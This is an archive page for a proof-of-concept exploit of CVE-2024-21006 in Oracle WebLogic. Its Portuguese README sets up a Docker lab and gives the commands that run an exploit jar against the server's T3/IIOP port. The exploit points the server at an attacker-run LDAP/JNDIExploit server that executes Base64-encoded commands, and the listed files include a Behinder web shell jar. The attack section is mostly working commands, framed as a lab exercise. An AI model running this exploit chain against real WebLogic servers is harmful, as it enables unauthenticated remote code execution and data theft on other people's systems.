Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-21006 PoC — Oracle Fusion Middleware 的 Oracle WebLogic Server 安全漏洞

Source
Associated Vulnerability
Title:Oracle Fusion Middleware 的 Oracle WebLogic Server 安全漏洞 (CVE-2024-21006)
Description:Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
Readme
# CVE-2024-21006 PoC

A CVE-2024-21006 é uma vulnerabilidade de Remote Code Execution (RCE) crítica que afeta o Oracle WebLogic Server. A falha está relacionada ao uso inseguro do protocolo IIOP (Internet Inter-ORB Protocol) e JNDI (Java Naming and Directory Interface), permitindo que um invasor remoto não autenticado execute código arbitrário no servidor afetado, por meio de uma referência maliciosa JNDI.

## Deploy do Laboratório

Monte o ambiente:
```
docker-compose up -d
```

Para acessar Shell do Kali:
```
docker exec -it cve-2024-21006_poc-kali-1 /bin/bash
```

Para acessar Shell do WebLogic:
```
docker exec -it cve-2024-21006_poc-weblogic-1 /bin/bash
```

Para acessar Shell do ExploitBox:
```
docker exec -it exploitbox /bin/bash
```

Nesta etapa, temos uma instância do WebLogic 12.2.1.3.0 executando localmente: 
http://127.0.0.1:7001/console/login/LoginForm.jsp

![](./image/08.png)

## Explorando Lab

### PoC simples:

No Kali:
```
nc -vnlp 1389
```

No ExploitBox:
```
java -jar CVE-2024-21006.jar <IP do WebLogic> 7001 ldap://<IP do Kali>:1389
```

Veja que o Kali recebeu a conexão vinda do WebLogic:

![](./image/03.png)

### Obtendo RCE:

No Kali, inicie o JNDIExploit:
```
cd /exploit
```
```
java \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xml.internal.serializer=ALL-UNNAMED \
-jar JNDIExploit/JNDIExploit-1.3-SNAPSHOT.jar -i <IP do Kali>
```
![](./image/04.png)

No ExploitBox, execute o exploit:
```
java -jar CVE-2024-21006.jar <IP do WebLogic> 7001 "ldap://<IP do Kali>:1389/Basic/Command/Base64/<Comando em Base64>"
```
![](./image/05.png)

No Kali, veja que recebemos o request:

![](./image/06.png)

No WebLogic, veja que o comando foi executado e o arquivo foi criado com sucesso:

![](./image/07.png)

## Referências:
- https://github.com/lightr3d/CVE-2024-21006_jar
- https://github.com/momika233/CVE-2024-21006
- https://blog.csdn.net/zwy15288408160/article/details/138189146
- https://blog.csdn.net/m0_46109609/article/details/114373594
File Snapshot

[4.0K] /data/pocs/06ed0ef8ff807239b3c9aefbc560f5d8db6973ed ├── [ 58M] CVE-2024-21006.jar ├── [ 690] docker-compose.yml ├── [ 62] Dockerfile ├── [4.0K] image │   ├── [ 41K] 01.png │   ├── [140K] 02.png │   ├── [6.0K] 03.png │   ├── [ 15K] 04.png │   ├── [ 29K] 05.png │   ├── [ 35K] 06.png │   ├── [ 10K] 07.png │   └── [ 53K] 08.png ├── [4.0K] JNDIExploit │   ├── [4.0K] data │   │   ├── [6.5K] behinder3.jar │   │   ├── [7.7K] BehinderFilter.class │   │   └── [ 525] Calc.class │   └── [ 31M] JNDIExploit-1.3-SNAPSHOT.jar ├── [4.0K] lib │   ├── [1.3M] com.oracle.weblogic.application.jar │   ├── [ 35M] weblogic.jar │   └── [ 52M] wlfullclient.jar ├── [2.2K] README.md └── [4.0K] src ├── [4.0K] META-INF │   └── [ 75] MANIFEST.MF └── [4.0K] org └── [4.0K] example └── [4.2K] messageDestinationReference.java 8 directories, 21 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →